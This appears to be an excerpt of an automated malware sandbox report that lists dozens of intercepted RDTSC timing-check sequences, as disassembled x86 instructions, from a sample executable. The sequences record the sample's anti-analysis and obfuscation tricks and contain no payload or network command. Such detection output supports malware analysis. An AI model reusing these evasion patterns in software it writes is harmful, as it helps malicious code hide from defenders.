Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43EA9C second address: 43EAA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43EAA5 second address: 43EAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFEF544D316h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43EAB6 second address: 43EAE3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFEF4E8FF66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007EFEF4E8FF77h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jbe 00007EFEF4E8FF66h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 43EAE3 second address: 43EB02 instructions: 0x00000000 rdtsc 0x00000002 jg 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007EFEF544D322h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 446C20 second address: 446C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 446C24 second address: 446C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 393239 second address: 393250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007EFEF4E8FF70h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 393250 second address: 393255 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 393255 second address: 393271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 js 00007EFEF4E8FF79h 0x0000000d jmp 00007EFEF4E8FF6Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44AE03 second address: 44AE1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D325h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A133 second address: 44A139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A2C1 second address: 44A2D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A405 second address: 44A40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A40B second address: 44A411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A411 second address: 44A419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A419 second address: 44A424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007EFEF544D316h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A67E second address: 44A6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFEF4E8FF66h 0x0000000a ja 00007EFEF4E8FF66h 0x00000010 jng 00007EFEF4E8FF66h 0x00000016 popad 0x00000017 pop eax 0x00000018 pushad 0x00000019 jl 00007EFEF4E8FF79h 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007EFEF4E8FF71h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A6B4 second address: 44A6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A7F4 second address: 44A7FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A7FE second address: 44A815 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFEF544D31Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 44A815 second address: 44A82E instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFEF4E8FF66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jo 00007EFEF4E8FF80h 0x00000011 jl 00007EFEF4E8FF6Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 453160 second address: 45319B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFEF544D328h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFEF544D327h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 45319B second address: 4531B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007EFEF4E8FF66h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4531B1 second address: 4531B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 453449 second address: 45345F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFEF4E8FF6Ch 0x00000008 jp 00007EFEF4E8FF6Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4536D4 second address: 4536FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007EFEF544D316h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007EFEF544D324h 0x00000011 pop ebx 0x00000012 push ebx 0x00000013 ja 00007EFEF544D31Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 453A81 second address: 453A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 45494B second address: 454951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 454951 second address: 45497C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007EFEF4E8FF6Bh 0x0000000c popad 0x0000000d jnp 00007EFEF4E8FF7Eh 0x00000013 jno 00007EFEF4E8FF6Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 45A5F8 second address: 45A60F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF544D322h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 45A1D7 second address: 45A1E1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFEF4E8FF66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 45A1E1 second address: 45A1E6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 469D2E second address: 469D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 469D39 second address: 469D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 46C40C second address: 46C412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 46BF63 second address: 46BF6D instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFEF544D322h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 46BF6D second address: 46BF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFEF4E8FF66h 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jmp 00007EFEF4E8FF76h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 46BF9A second address: 46BFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 46BFA0 second address: 46BFA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 46BFA4 second address: 46BFA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 46C130 second address: 46C137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 46C137 second address: 46C13D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 47B124 second address: 47B12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFEF4E8FF66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 47B12F second address: 47B14E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFEF544D328h 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 482FE8 second address: 482FF2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFEF4E8FF66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 482FF2 second address: 482FF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4817A5 second address: 4817A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4817A9 second address: 4817AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4817AF second address: 4817D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFEF4E8FF79h 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007EFEF4E8FF66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4817D6 second address: 4817F0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007EFEF544D316h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4817F0 second address: 481802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007EFEF4E8FF6Bh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 481B1D second address: 481B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007EFEF544D327h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jp 00007EFEF544D316h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 481B47 second address: 481B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF4E8FF77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 481B62 second address: 481B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4820BA second address: 4820D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 je 00007EFEF4E8FF66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jne 00007EFEF4E8FF66h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4820D0 second address: 4820D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 482D1A second address: 482D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 48C559 second address: 48C56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF544D31Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 48C56C second address: 48C588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFEF4E8FF73h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4985F3 second address: 498605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFEF544D316h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 498605 second address: 49860F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4AD5F8 second address: 4AD5FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4AD28F second address: 4AD2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007EFEF4E8FF66h 0x0000000f jmp 00007EFEF4E8FF75h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4AD2B3 second address: 4AD2B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C75CB second address: 4C75D8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFEF4E8FF68h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C6364 second address: 4C6385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D323h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007EFEF544D316h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C6385 second address: 4C6399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jne 00007EFEF4E8FF66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007EFEF4E8FF6Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C6399 second address: 4C63A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C63A3 second address: 4C63A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C64FC second address: 4C6501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C6501 second address: 4C6507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C6691 second address: 4C66B1 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jmp 00007EFEF544D31Eh 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C66B1 second address: 4C66BB instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFEF4E8FF6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C69CD second address: 4C6A04 instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFEF544D31Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFEF544D324h 0x00000013 jmp 00007EFEF544D325h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C6A04 second address: 4C6A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007EFEF4E8FF6Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007EFEF4E8FF66h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C6A22 second address: 4C6A32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007EFEF544D318h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C6A32 second address: 4C6A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C702A second address: 4C7030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C7030 second address: 4C7036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C732B second address: 4C7330 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C8C7A second address: 4C8C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C8C7E second address: 4C8C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C8C86 second address: 4C8C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007EFEF4E8FF66h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4C8C92 second address: 4C8CA5 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007EFEF544D316h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 398429 second address: 39844C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFEF4E8FF79h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007EFEF4E8FF66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 39844C second address: 398450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4CD201 second address: 4CD281 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007EFEF4E8FF73h 0x00000012 push dword ptr [ebp+122D190Dh] 0x00000018 xor edx, 11C7EFC6h 0x0000001e call 00007EFEF4E8FF69h 0x00000023 jmp 00007EFEF4E8FF70h 0x00000028 push eax 0x00000029 jnl 00007EFEF4E8FF77h 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 pushad 0x00000034 push edi 0x00000035 pushad 0x00000036 popad 0x00000037 pop edi 0x00000038 push eax 0x00000039 pushad 0x0000003a popad 0x0000003b pop eax 0x0000003c popad 0x0000003d mov eax, dword ptr [eax] 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007EFEF4E8FF71h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4CE839 second address: 4CE843 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFEF544D316h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4CE843 second address: 4CE84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 4CE84D second address: 4CE85D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
